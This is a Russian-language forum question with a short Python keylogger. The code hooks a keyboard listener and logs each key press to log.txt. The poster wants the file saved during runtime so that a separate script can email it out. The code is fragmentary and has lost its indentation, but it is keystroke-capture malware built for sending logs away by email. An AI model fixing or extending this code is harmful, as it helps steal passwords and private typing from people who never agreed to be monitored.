Я хочу отправить log.txt по электронной почте. Электронная часть работает, но этот регистратор не сохраняет файл. Сохраняет только при выходе. Так что пишет и пишет. Я вставлял f.write после каждого нажатия клавиши, но это не сработало.
Если бы вы могли помочь, я был бы признателен.
Вопрос в том, как я могу сохранить его, чтобы сценарий электронной почты мог его прочитать/отправить?
Код:
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
f = open('log.txt', 'w')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()